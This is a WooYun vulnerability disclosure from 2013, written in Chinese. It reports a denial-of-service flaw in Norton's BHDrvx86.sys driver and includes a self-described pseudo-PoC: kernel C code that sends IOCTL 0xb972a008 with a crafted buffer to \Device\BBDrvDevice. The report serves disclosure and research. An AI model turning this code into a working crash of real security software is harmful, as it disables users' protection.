漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-034678
漏洞标题:诺顿BHDrvx86.sys拒绝服务漏洞(附伪POC)
相关厂商:赛门铁克
漏洞作者: n0bele
提交时间:2013-08-19 14:17
修复时间:2013-11-17 14:17
公开时间:2013-11-17 14:17
漏洞类型:拒绝服务
危害等级:低
自评Rank:5
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-08-19: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-11-17: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
BHDrvx86.sys一直问题不断,才修补了上一个版本,最新版的问题又来了
详细说明:
为什么叫伪POC呢?因为真POC可能得HOOK ZwDeviceIoControlFile修改值,而那样实在费力,直接ZwOpenFile \\Device\\BBDrvDevice是成功不了的,可能做了校验.我只为说明问题,所以省事点,据说不带POC不让过的.
问题出在发送IO 0xb972a008的时候,inputbuffer没处理好.当然能不能提权对这个bug而言真的毫无意义了。
BOOLEAN
SendInterface(
IN PCWSTR DeviceName,
IN ULONG IoControlCode,
IN PVOID Data,
IN ULONG DataLength
)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
PFILE_OBJECT pNetObject = NULL;
OBJECT_ATTRIBUTES ObPassthru;
IO_STATUS_BLOCK NetStatusBlock;
UNICODE_STRING PassthruString;
HANDLE hNet =NULL;
BOOLEAN bRet = FALSE;
__try
{
RtlInitUnicodeString( &PassthruString, DeviceName);
InitializeObjectAttributes( &ObPassthru,&PassthruString,0,(HANDLE) NULL,(PSECURITY_DESCRIPTOR)NULL);
ntStatus = ZwOpenFile(&hNet,OBJ_CASE_INSENSITIVE,&ObPassthru,&NetStatusBlock,0,FILE_NON_DIRECTORY_FILE);
if (!NT_SUCCESS(ntStatus))
{
DbgPrint("[SendInterface] ZwOpenFile failed err=[0x%08x]\n", ntStatus);
__leave;
}
ntStatus = ObReferenceObjectByHandle(hNet,0,NULL,KernelMode,(PVOID *) &pNetObject,NULL );
if (!NT_SUCCESS(ntStatus))
{
DbgPrint("[SendInterface] ObReferenceObjectByHandle failed err=[0x%08x]\n", ntStatus);
ZwClose(hNet);
__leave;
}
ntStatus = ZwDeviceIoControlFile(hNet,NULL,NULL,NULL,&NetStatusBlock,IoControlCode,Data,DataLength,NULL,0);
ObDereferenceObject(pNetObject);
if (!NT_SUCCESS(ntStatus))
{
DbgPrint("[SendInterface] ZwDeviceIoControlFile failed err=[0x%08x]\n", ntStatus);
ZwClose(hNet);
__leave;
}
ZwClose(hNet);
bRet = TRUE;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
KdPrint(("[SendInterface]Memory access failed."));
}
return bRet;
}
SendInterface(L"\\Device\\BBDrvDevice",0xb972a008,(PVOID)0x02f0ade0,0x00000030);
漏洞证明:
修复方案:
They understand~
版权声明:转载请注明来源 n0bele@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝